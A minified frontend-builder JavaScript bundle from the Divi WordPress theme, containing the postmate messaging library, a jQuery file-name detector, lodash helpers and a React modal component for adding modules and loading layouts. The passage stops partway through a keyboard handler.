File "bundle.modals.aa5edc4c.js"
Full Path: /home/branxxtp/freemanvalue.com/wp-content/themes/Divi/includes/builder/frontend-builder/build/bundle.modals.aa5edc4c.js
File size: 1.17 MB
MIME-type: text/plain
Charset: utf-8
/*! This minified app bundle contains open source software from several third party developers. Please review CREDITS.md in the root directory or LICENSE.md in the current directory for complete licensing, copyright and patent information. This file and the included code may not be redistributed without the attributions listed in LICENSE.md, including associate copyright notices and licensing information. */
(window.webpackETJsonp=window.webpackETJsonp||[]).push([[6],Array(621).concat([function(e,t,n){
/**
* postmate - A powerful, simple, promise-based postMessage library
* @version 1.1.9
* @link https://github.com/dollarshaveclub/postmate
* @author Jacob Kelley <jakie8@gmail.com>
* @license MIT */
e.exports=function(){"use strict";function e(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function t(){var e;d.debug&&(e=console).log.apply(e,arguments)}var n=window.navigator.userAgent.indexOf("Edge")>-1;function o(e,t){return(e.origin===t||n)&&"object"===i(e.data)&&"postmate"in e.data&&e.data.type===a&&!!{"handshake-reply":1,call:1,emit:1,reply:1,request:1}[e.data.postmate]}var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a="application/x-postmate-v1+json",s=Object.prototype.hasOwnProperty,l=0,u=function(){function n(o){var r=this;e(this,n),this.parent=o.parent,this.frame=o.frame,this.child=o.child,this.childOrigin=o.childOrigin,this.events={},t("Parent: Registering API"),t("Parent: Awaiting messages..."),this.listener=function(e){var n=((e||{}).data||{}).value||{},o=n.data,i=n.name;"emit"===e.data.postmate&&(t("Parent: Received event emission: "+i),i in r.events&&r.events[i].call(r,o))},this.parent.addEventListener("message",this.listener,!1),t("Parent: Awaiting event emissions from Child")}return r(n,[{key:"get",value:function(e){var t=this;return new d.Promise(function(n){var o=++l;t.parent.addEventListener("message",function e(r){r.data.uid===o&&"reply"===r.data.postmate&&(t.parent.removeEventListener("message",e,!1),n(r.data.value))},!1),t.child.postMessage({postmate:"request",type:a,property:e,uid:o},t.childOrigin)})}},{key:"call",value:function(e,t){this.child.postMessage({postmate:"call",type:a,property:e,data:t},this.childOrigin)}},{key:"on",value:function(e,t){this.events[e]=t}},{key:"destroy",value:function(){t("Parent: Destroying Postmate instance"),window.removeEventListener("message",this.listener,!1),this.frame.parentNode.removeChild(this.frame)}}]),n}(),c=function(){function n(r){var i=this;e(this,n),this.model=r.model,this.parent=r.parent,this.parentOrigin=r.parentOrigin,this.child=r.child,t("Child: Registering API"),t("Child: Awaiting messages..."),this.child.addEventListener("message",function(e){if(o(e,i.parentOrigin)){t("Child: Received request",e.data);var n=e.data,r=n.property,s=n.uid,l=n.data;if("call"===e.data.postmate)return void(r in i.model&&"function"==typeof i.model[r]&&i.model[r].call(i,l));(function(e,t){var n="function"==typeof e[t]?e[t]():e[t];return d.Promise.resolve(n)})(i.model,r).then(function(t){return e.source.postMessage({property:r,postmate:"reply",type:a,uid:s,value:t},e.origin)})}})}return r(n,[{key:"emit",value:function(e,n){t('Child: Emitting Event "'+e+'"',n),this.parent.postMessage({postmate:"emit",type:a,value:{name:e,data:n}},this.parentOrigin)}}]),n}(),d=function(){function n(t){e(this,n);var o=t.container,r=void 0===o?void 0!==r?r:document.body:o,i=t.model,a=t.url;return this.parent=window,this.frame=document.createElement("iframe"),r.appendChild(this.frame),this.child=this.frame.contentWindow||this.frame.contentDocument.parentWindow,this.model=i||{},this.sendHandshake(a)}return r(n,[{key:"sendHandshake",value:function(e){var r=this,i=function(e){var t=document.createElement("a");return t.href=e,t.origin||t.protocol+"//"+t.hostname}(e),s=0,l=void 0;return new n.Promise(function(n,c){r.parent.addEventListener("message",function e(a){return!!o(a,i)&&("handshake-reply"===a.data.postmate?(clearInterval(l),t("Parent: Received handshake reply from Child"),r.parent.removeEventListener("message",e,!1),r.childOrigin=a.origin,t("Parent: Saving Child origin",r.childOrigin),n(new u(r))):(t("Parent: Invalid handshake reply"),c("Failed handshake")))},!1);var d=function(){t("Parent: Sending handshake attempt "+ ++s,{childOrigin:i}),r.child.postMessage({postmate:"handshake",type:a,model:r.model},i),5===s&&clearInterval(l)},p=function(){d(),l=setInterval(d,500)};r.frame.attachEvent?r.frame.attachEvent("onload",p):r.frame.onload=p,t("Parent: Loading frame",{url:e}),r.frame.src=e})}}]),n}();return d.debug=!1,d.Promise=function(){try{return window?window.Promise:Promise}catch(e){return null}}(),d.Model=function(){function o(t){return e(this,o),this.child=window,this.model=t,this.parent=this.child.parent,this.sendHandshakeReply()}return r(o,[{key:"sendHandshakeReply",value:function(){var e=this;return new d.Promise(function(o,r){e.child.addEventListener("message",function i(l){if(l.data.postmate){if("handshake"===l.data.postmate){t("Child: Received handshake from Parent"),e.child.removeEventListener("message",i,!1),t("Child: Sending handshake reply to Parent"),l.source.postMessage({postmate:"handshake-reply",type:a},l.origin),e.parent!==l.source&&(e.parent=l.source),e.parentOrigin=n?"*":l.origin;var u=l.data.model;if(u){for(var d=Object.keys(u),p=0;p<d.length;p++)s.call(u,d[p])&&(e.model[d[p]]=u[d[p]]);t("Child: Inherited and extended model from Parent")}return t("Child: Saving Parent origin",e.parentOrigin),o(new c(e))}return r("Handshake Reply Failed")}},!1)})}}]),o}(),d}()},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";var o=n(159),r=n.n(o),i=n(153),a=n.n(i),s=n(749),l=n.n(s),u=n(398),c=n.n(u),d=n(351),p=n.n(d),f=n(323),h=n.n(f),m=n(479),g=n.n(m),v=n(862),b=n.n(v),y=n(863),_=n.n(y),k=n(932),w=n.n(k),C=n(933),E=n.n(C),O=n(296),S=n.n(O),T=n(925),M=n.n(T),x=n(926),P=n.n(x),j=n(861),L=n.n(j),N=n(927),D=n.n(N),A=n(49),F=n.n(A),I=n(10),R=n.n(I),B=n(11),W=n.n(B),V=["1.12.4","1.12.3","1.12.2","1.12.1","1.12.0","1.11.3","1.11.2","1.11.1","1.11.0","1.10.2","1.10.1","1.10.0","1.9.1","1.9.0","1.8.3","1.8.2","1.8.1","1.8.0","1.7.2","1.7.1","1.7.0","1.7.0","1.6.4","1.6.3","1.6.2","1.6.1","1.6.0","1.5.2","1.5.1","1.5.0","1.4.4","1.4.3","1.4.2","1.4.1","1.4.0","1.3.2","1.3.1","1.3.0","1.2.6","1.2.5","1.2.4","1.2.3","1.2.2","1.2.1","1.2.0","1.1.4","1.1.3","1.1.2","1.1.1","1.1.0","1.0.4","1.0.3","1.0.2","1.0.1","1.0.0","2.2.4","2.2.3","2.2.2","2.2.1","2.2.0","2.1.4","2.1.3","2.1.2","2.1.1","2.1.0","2.0.3","2.0.2","2.0.1","2.0.0","3.4.1","3.4.0","3.3.1","3.3.0","3.2.1","3.2.0","3.1.1","3.1.0","3.0.0"];n.d(t,"a",function(){return z}),n.d(t,"c",function(){return q}),n.d(t,"b",function(){return K}),n.d(t,"e",function(){return $}),n.d(t,"d",function(){return Y});var H=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};var G=[],U=a()(_()("&"),b()(_()("=")),w.a),z=a()(function(e){return S()(e,"/")},h.a,p()("?"),c.a),q=a()(E.a,P()(a()(D()(L.a),h.a)),b()(p()("=")),p()("&"),g.a,p()("?"),c.a),K=r()(function(e,t){return l()(e,q(t))}),$=r()(function(e,t){return z(t)+"?"+U(H({},q(t),e))}),X=(r()(function(e,t,n){return $(function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},e,t),n)}),r()(function(e,t){return $(M()(e,q(t)),z(t))}),function(e){return F()(e)?e.split("/").pop().split("?").shift():""}),Y=function(e){if(!F()(e))return!1;var t=X(e).toLowerCase();return-1!==t.indexOf("jquery")&&(L()(G)&&(G=["jquery.js","jquery.min.js"],W()(V,function(e){G.push("jquery-"+e+".js"),G.push("jquery-"+e+".min.js")})),R()(G,t))}},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){var o=n(111)("isEmpty",n(8),n(200));o.placeholder=n(103),e.exports=o},function(e,t,n){var o=n(111)("map",n(34));o.placeholder=n(103),e.exports=o},function(e,t,n){var o=n(111)("join",n(274));o.placeholder=n(103),e.exports=o},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(49),a=n.n(i),s="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},l=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},u=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.a=function(e){var t,n,o=a()(e)?e:e.displayName;return n=t=function(t){function n(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!==(void 0===t?"undefined":s(t))&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+(void 0===t?"undefined":s(t)));e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),u(n,[{key:"shouldComponentUpdate",value:function(){return!1}},{key:"render",value:function(){var t=this.props,n=t._ref,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(t,["_ref"]);return r.a.createElement(e,l({ref:n},o))}}]),n}(),t.displayName="withOneRender("+o+")",n}},function(e,t,n){var o=n(111)("omit",n(113));o.placeholder=n(103),e.exports=o},function(e,t,n){var o=n(111)("filter",n(69));o.placeholder=n(103),e.exports=o},function(e,t,n){var o=n(111)("negate",n(224),n(200));o.placeholder=n(103),e.exports=o},,,function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(25),l="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},u=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function c(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!==(void 0===t?"undefined":l(t))&&"function"!=typeof t?e:t}var d=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=c(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.getDefaultStyle=function(){return{size:o.props.scale,opacity:0}},o.getStyle=function(){return{size:o.props.enabled?Object(s.spring)(1,{stiffness:300,damping:20}):1,opacity:o.props.enabled?Object(s.spring)(1,{stiffness:300,damping:20}):1}},c(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+(void 0===t?"undefined":l(t)));e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),u(t,[{key:"render",value:function(){var e=this;return r.a.createElement(s.Motion,{defaultStyle:this.getDefaultStyle(),style:this.getStyle()},function(t){return e.props.children({opacity:t.opacity,transform:"scale("+t.size+")"})})}}]),t}();d.propTypes={enabled:a.a.bool,scale:a.a.number,children:a.a.func.isRequired},d.defaultProps={enabled:!0,scale:.5},t.a=d},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=navigator.userAgent.indexOf("Safari")>-1&&-1===navigator.userAgent.indexOf("Chrome");function r(e,t,n){if(!document.documentMode&&!window.StyleMedia&&!o)return new window.File(e,t,n);var r=new Blob(e,n);return r.lastModified=Date.now(),r.name=t,r}},function(e,t,n){var o=n(111)("toPairs",n(380),n(200));o.placeholder=n(103),e.exports=o},function(e,t,n){var o=n(111)("fromPairs",n(255));o.placeholder=n(103),e.exports=o},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";n.r(t),function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(28),c=n.n(u),d=n(25),p=n(187),f=n.n(p),h=n(34),m=n.n(h),g=n(7),v=n.n(g),b=n(69),y=n.n(b),_=n(11),k=n.n(_),w=n(8),C=n.n(w),E=n(38),O=n.n(E),S=n(140),T=n.n(S),M=n(52),x=n.n(M),P=(n(83),n(10)),j=n.n(P),L=n(15),N=n.n(L),D=n(46),A=n.n(D),F=n(2),I=n.n(F),R=(n(234),n(128)),B=n.n(R),W=n(1508),V=n(1498),H=n(9),G=n(12),U=n(77),z=n(40),q=n(1499),K=n(1500),$=n(3),X=n(1501),Y=n(0),J=(n(1503),n(860)),Q=n(51),Z=n(1281),ee=n(305),te=n(639),ne=n(116),oe=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},re=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function ie(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ae=ETBuilderBackend.i18n.tooltips,se=ETBuilderBackend.i18n,le=Y.default.isBFB(),ue=Y.default.isTB(),ce={active:a.a.bool,actionType:a.a.string,active_tab:a.a.string,tooltipTitle:a.a.string,specialtyModal:a.a.bool,preloadingItems:a.a.bool,_closeFunction:a.a.func,modalPosition:a.a.object,classNames:a.a.object,children:a.a.node,modalHeight:a.a.number,modalWidth:a.a.oneOfType([a.a.number,a.a.string]),ignorePosition:a.a.bool,forceFixedPosition:a.a.bool},de={active:!1,_closeFunction:A.a,classNames:{},ignorePosition:!1,forceFixedPosition:!1,enableContextMenu:!1},pe=function(t){function n(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var i=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,t));return i.tabClassName=function(e){var t={"et-fb-settings-options-tab":!0,"et-fb-all-modules":!0,"et-fb-modules-list":!0,"et-fb-settings-options":!0};return t["et-fb-settings-options-tab-"+e]=!0,e===i.state.active_tab&&(t["et-fb-settings-options-tab--active"]=!0),l()(t)},i._onLibraryDoneLoading=function(){$.a.setProductTourElementReady("selectLayoutPack"),i.setState({library_loading:!1})},i._onClickLibraryBackButton=function(){i.setState({libraryBackToLayouts:!0})},i._onLibraryPageChanged=function(t){var n={libraryBackToLayouts:!1};(i.state.hasBackButton&&!t||t&&!i.state.hasBackButton)&&(n.hasBackButton=t),i.setState(n),t&&$.a.isProductTourActive()&&($.a.setProductTourElementReady("loadLayoutItem"),e("body").trigger("et_fb_product_tour_element_clicked"))},i.onPortabilityProgressBarChange=function(e,t){i.setState({hasProgressBar:t})},i._renderTabs=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];var o=m()(t,function(e){return r.a.createElement("li",{key:e.name,className:i.tabNavClassName(e.className)},r.a.createElement("a",{href:"#",className:e.className,onClick:i.handle_tab_click},I()(se,e.name,e.name)))});return r.a.createElement("ul",{className:"et-fb-settings-tabs-nav",ref:"settingsTabsNav"},o)},i.state={active_tab:t.activeTab||"modules_all",library_category:"all",filterByTitle:"",helpModalMoved:!1,library_modules_updated:$.a.getLastRetrievedLayoutType(),selectedItemIndex:0,selectedItemUpdated:!1,currentTourElement:"",move:!1,library_loading:!0,hasBackButton:!1,libraryBackToLayouts:!1,applyTransitionAnimation:!1,appWindowScrollTopOnload:Y.default.$appWindow().scrollTop(),hasProgressBar:!1},i.maxItemIndex={modules_all:0,modules_library:0},i.isLibrary=i.isLibrary.bind(i),i._onClose=i._onClose.bind(i),i._preventRightClick=i._preventRightClick.bind(i),i.getModuleType=i.getModuleType.bind(i),i.tabNavClassName=i.tabNavClassName.bind(i),i.setMaxItemIndex=i.setMaxItemIndex.bind(i),i._onModuleItemMouseLeave=i._onModuleItemMouseLeave.bind(i),i._onModuleItemMouseEnter=i._onModuleItemMouseEnter.bind(i),i._onKeyDownEvent=i._onKeyDownEvent.bind(i),i.centerizeSelectedItem=i.centerizeSelectedItem.bind(i),i.isAddingIntoGlobal=i.isAddingIntoGlobal.bind(i),i.insertLayout=i.insertLayout.bind(i),i.getSavedModulesList=i.getSavedModulesList.bind(i),i.handle_tab_click=i.handle_tab_click.bind(i),i.generateAddModuleContent=i.generateAddModuleContent.bind(i),i._onInput=i._onInput.bind(i),i.setModalPosition=i.setModalPosition.bind(i),i._onLibraryLoaded=i._onLibraryLoaded.bind(i),i.getSavedModulesArray=i.getSavedModulesArray.bind(i),i.loadLibraryModules=i.loadLibraryModules.bind(i),i.isPreloadingItems=i.isPreloadingItems.bind(i),i._handleStartMovement=i._handleStartMovement.bind(i),i._handleEndMovement=i._handleEndMovement.bind(i),i._handleMove=i._handleMove.bind(i),i._onProductTourElementChange=i._onProductTourElementChange.bind(i),i.modal=Object(o.createRef)(),i.debouncedSetInputFocus=x()(i.setInputFocus,1e3),i}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),re(n,[{key:"isLibrary",value:function(){return"load_layout"===this.props.actionType}},{key:"componentDidMount",value:function(){var e=this,t=j()(["phone","tablet"],I()(this,"props.previewMode")),n=this.isLibrary();this.windowScrolled=!1,this.is_mounted=!0,this.shortThrottleReset=T()(function(){return e.is_mounted&&e.setState({helpModalMoved:e.props.helpModalActive,resetModalStyles:f()(),modalPositionData:e.setModalPosition()})},100,{leading:!1}),this.mediumThrottleReset=T()(function(){return e.is_mounted&&e.setState({helpModalMoved:e.props.helpModalActive,resetModalStyles:f()(),modalPositionData:e.setModalPosition(),applyTransitionAnimation:"fast"})},100,{leading:!1}),this.longThrottleReset=T()(function(){e.is_mounted&&(e.windowScrolled=!0,e.setState({helpModalMoved:e.props.helpModalActive,resetModalStyles:f()(),modalPositionData:e.setModalPosition()}))},1e3,{leading:!1}),$.a.addModuleLibraryLoadedListener(this._onLibraryLoaded),$.a.addProductTourChangeElementListener(this._onProductTourElementChange),$.a.getDroploaderPayloadPortability()&&this.setState({active_tab:"modules_library"});var o=Y.default.getEventsTarget(t);this.props.movable&&(o.addEventListener("mousemove",this._handleStartMovement,{capture:!0}),o.addEventListener("mouseup",this._handleEndMovement,{capture:!0})),"custom_content"!==this.props.actionType&&(Y.default.getScrollEventTarget().addEventListener("scroll",this.mediumThrottleReset),n?o.addEventListener("resize",this.shortThrottleReset):o.addEventListener("resize",this.longThrottleReset),this.setInputFocus()),this.timer=setTimeout(function(){var t=e.getModalContentHeight();e.setState({modalPositionData:e.setModalPosition(t),autoHeight:t})},80),"portability"===this.props.actionType&&$.a.addTogglePortabilityProgressBarListener(this.onPortabilityProgressBarChange)}},{key:"componentWillUnmount",value:function(){this.is_mounted=!1,clearTimeout(this.timer),this.shortThrottleReset.cancel(),this.mediumThrottleReset.cancel(),this.longThrottleReset.cancel();var e=this.isLibrary(),t=j()(["phone","tablet"],I()(this,"props.previewMode"));$.a.removeModuleLibraryLoadedListener(this._onLibraryLoaded),$.a.removeProductTourChangeElementListener(this._onProductTourElementChange);var n=Y.default.getEventsTarget(t);"custom_content"!==this.props.actionType&&(Y.default.getScrollEventTarget().removeEventListener("scroll",this.mediumThrottleReset),e?n.removeEventListener("resize",this.shortThrottleReset):n.removeEventListener("resize",this.longThrottleReset)),this.props.movable&&(n.removeEventListener("mousemove",this._handleStartMovement),n.removeEventListener("mouseup",this._handleEndMovement)),"portability"===this.props.actionType&&$.a.removeTogglePortabilityProgressBarListener(this.onPortabilityProgressBarChange)}},{key:"UNSAFE_componentWillUpdate",value:function(e){e.active&&this.props.currentTourElement===e.currentTourElement||this.setState({modalPositionData:{}});var t=this.props.modalMoving!==e.modalMoving;"load_layout"===this.props.actionType&&!this.state.helpModalMoved&&this.props.helpModalActive&&t&&this.setState({helpModalMoved:!0,resetModalStyles:f()(),modalPositionData:this.setModalPosition()}),this.props.helpModalActive===e.helpModalActive||e.helpModalActive||this.setState({helpModalMoved:!1})}},{key:"componentDidUpdate",value:function(t,n){"add_module"!==this.props.actionType||$.a.isProductTourActive()||this.loadLibraryModules();e(c.a.findDOMNode(this));if(t.active!==this.props.active||n.active_tab!==this.state.active_tab||t.actionType!==this.props.actionType||t.specialtyModal!==this.props.specialtyModal||!O()(t.modalPosition,this.props.modalPosition)||t.preloadingItems!==this.props.preloadingItems){this.props.active?t.actionType!==this.props.actionType&&this.setState({active_tab:"modules_all"}):(this.setState({resetModalStyles:!1,active_tab:"modules_all",filterByTitle:"",library_category:"all",importBackUp:"off",importFile:"",importError:"",applyTransitionAnimation:"no"}),this.windowScrolled=!1),this.debouncedSetInputFocus();var o=e(c.a.findDOMNode(this.refs.settingsTabsNav)),r=o.children().length,i=100/r,a=$.a.getModuleAddAfter();2===r&&o.children().css({maxWidth:i+"%"});var s=this.getModalContentHeight(),l=this.setModalPosition(s),u=I()(l,"style.position"),d=I()(n.modalPositionData,"style.position");this.setState({selectedItemIndex:Y.default.hasValue(this.state.filterByTitle)?1:0,modalPositionData:l,autoHeight:s,applyTransitionAnimation:"add_module"===this.props.actionType&&I()(a,"autoAddModule")||u!==d?"no":"normal"})}this.state.selectedItemUpdated&&(this.centerizeSelectedItem(),this.setState({selectedItemUpdated:!1}));var p=this.props.helpModalActive!==t.helpModalActive;"load_layout"===this.props.actionType&&p&&this.setState({resetModalStyles:f()(),modalPositionData:this.setModalPosition()});var h=this.props.modalMoving!==t.modalMoving;"load_layout"===this.props.actionType&&this.props.helpModalActive&&h&&this.setState({resetModalStyles:f()(),modalPositionData:this.setModalPosition()}),"portability"!==t.actionType&&"portability"===this.props.actionType&&$.a.addTogglePortabilityProgressBarListener(this.onPortabilityProgressBarChange),"portability"===t.actionType&&"portability"!==this.props.actionType&&$.a.removeTogglePortabilityProgressBarListener(this.onPortabilityProgressBarChange)}},{key:"shouldComponentUpdate",value:function(e,t){return!O()(this.state,t)||!O()(this.props,e)}},{key:"getModalContentHeight",value:function(){var t=e(c.a.findDOMNode(this)),n="modules_library"===this.state.active_tab&&"add_module"===this.props.actionType&&""===t.find(".et-fb-settings-options .et-fb-settings-options-tab-modules_library ul").text()?300:0,o=t.find(".et-fb-settings-tabs-nav").length>0?100:60,r=0,i=t.find(".et-fb-save-library-button").length>0?40:0;return t.find(".et-fb-settings-options").length>0&&(!v()(this.props.modalWidth)&&this.props.modalWidth&&t.find(".et-fb-settings-options").width(this.props.modalWidth),r=0===n?t.find(".et-fb-settings-options").innerHeight():n,!v()(this.props.modalWidth)&&this.props.modalWidth&&t.find(".et-fb-settings-options").width("auto")),le||"portability"!==this.props.actionType||(i=40),r+i+o}},{key:"setInputFocus",value:function(){var e=Y.default.$appWindow(this.modal.current),t=I()(e.find(".et-fb-settings-options-wrap").offset(),"top",0),n=I()(e.find(".et-fb-settings-options-tab--active").offset(),"top",0)-t;if(e.trigger("focus").find('input[type="text"]:visible').first().trigger("focus"),n<0&&e.find(".et-fb-settings-options-tab").length){var o=parseInt(e.find(".et-fb-settings-options").css("paddingTop")),r=Math.abs(n)+o;e.find(".et-fb-settings-options-wrap").scrollTop(r),setTimeout(function(){e.find(".et-fb-settings-options-wrap").scrollTop(r)},0)}}},{key:"_handleStartMovement",value:function(e){if(!this.state.move)return!1;var t=this.state.modalPositionData,n="absolute"===t.style.position?e.pageX:e.pageX-Y.default.$topWindow().scrollLeft(),o="absolute"===t.style.position?e.pageY:e.pageY-Y.default.$topWindow().scrollTop();return n-=this.state.reactive.x,o-=this.state.reactive.y,t.style.top=o,t.style.left=n,this.setState({resetModalStyles:f()(),modalPositionData:t})}},{key:"_handleMove",value:function(t){if(this.props.movable){var n="absolute"===this.state.modalPositionData.style.position?e(Object(u.findDOMNode)(this)).position():e(Object(u.findDOMNode)(this)).offset();this.setState({reactive:{x:t.pageX-n.left,y:t.pageY-n.top},move:!this.state.move})}}},{key:"_handleEndMovement",value:function(t){if(this.state.move){var n=e("#et-fb-app").offset(),o=Y.default.topViewportWidth(),r=Y.default.$topWindow().height(),i=this.state.modalPositionData;if("absolute"!==i.style.position&&(i.style.top+400>r||i.style.top<0)||"absolute"===i.style.position&&i.style.top<0&&Math.abs(i.style.top)>n.top){var a=50;"absolute"===i.style.position&&i.style.top<0&&Math.abs(i.style.top)>n.top&&(a+=i.style.top+(Math.abs(i.style.top)-n.top)),i.style.top=i.style.top<0?a:r-400}if("absolute"!==i.style.position&&i.style.left<0||i.style.left+400>o||"absolute"===i.style.position&&i.style.left<0&&Math.abs(i.style.left)>n.left){var s=50;"absolute"===i.style.position&&i.style.left<0&&Math.abs(i.style.left)>n.left&&(s+=i.style.left+(Math.abs(i.style.left)-n.left)),i.style.left=i.style.left<0?s:o-400}return this.setState({move:!1,modalPositionData:i})}}},{key:"_onProductTourElementChange",value:function(){this.setState({currentTourElement:$.a.getActiveProductTourElement()})}},{key:"_onModuleItemMouseEnter",value:function(e){this.setState({selectedItemIndex:e})}},{key:"_onModuleItemMouseLeave",value:function(){this.setState({selectedItemIndex:0})}},{key:"setMaxItemIndex",value:function(e,t){this.maxItemIndex[t]=e}},{key:"tabNavClassName",value:function(e){var t={};return t["et-fb-settings-options_tab_"+e]=!0,t["et-fb-settings-tabs-nav-item"]=!0,e===this.state.active_tab&&(t["et-fb-settings-tabs-nav-item--active"]=!0),l()(t)}},{key:"centerizeSelectedItem",value:function(){var t=e(c.a.findDOMNode(this)),n=t.find(".et-fb-settings-options-wrap"),o=t.find(".et-fb-settings-options-tab:visible .et-fb-selected-item");if(o.length){var r=o.offset(),i=o.parent().offset();n.stop().animate({scrollTop:r.top-i.top})}}},{key:"_onKeyDownEvent",value:function(t){if(!$.a.isProductTourActive()){var n=this,o=e(c.a.findDOMNode(this)),r=this.state.selectedItemIndex,i=t.keyCode;if(13===i&&(o.find(".et-fb-selected-item:visible").trigger("click"),"change_structure"===this.props.actionType&&G.b.cancelTooltip()),j()([38,39,40,37],i)){j()([38,40],i)&&t.preventDefault();var a=void 0,s=void 0;if("change_structure"===this.props.actionType?(o.find(".et-fb-module-settings"),s=(a=o.find(".et-fb-columns-layout")).find(".et-fb-selected-item")):(o.find(".et-fb-settings-options-wrap"),s=(a=o.find(".et-fb-settings-options-tab:visible")).find(".et-fb-selected-item")),s.length){var l=a.width(),u=s.width(),d=Math.floor(l/u),p=0;switch(i){case 38:p=r-d;break;case 39:p=r+1;break;case 40:p=r+d;break;case 37:p=r-1}p>0&&p<=this.maxItemIndex[this.state.active_tab]&&this.setState({selectedItemIndex:p,selectedItemUpdated:!0})}else this.setState({selectedItemIndex:1,selectedItemUpdated:!0})}if(27===i&&G.b.cancelTooltip(),9===i&&!o.closest(".et-fb-modal-settings--library")&&!e(t.target).is("input:focus, button:focus")){var 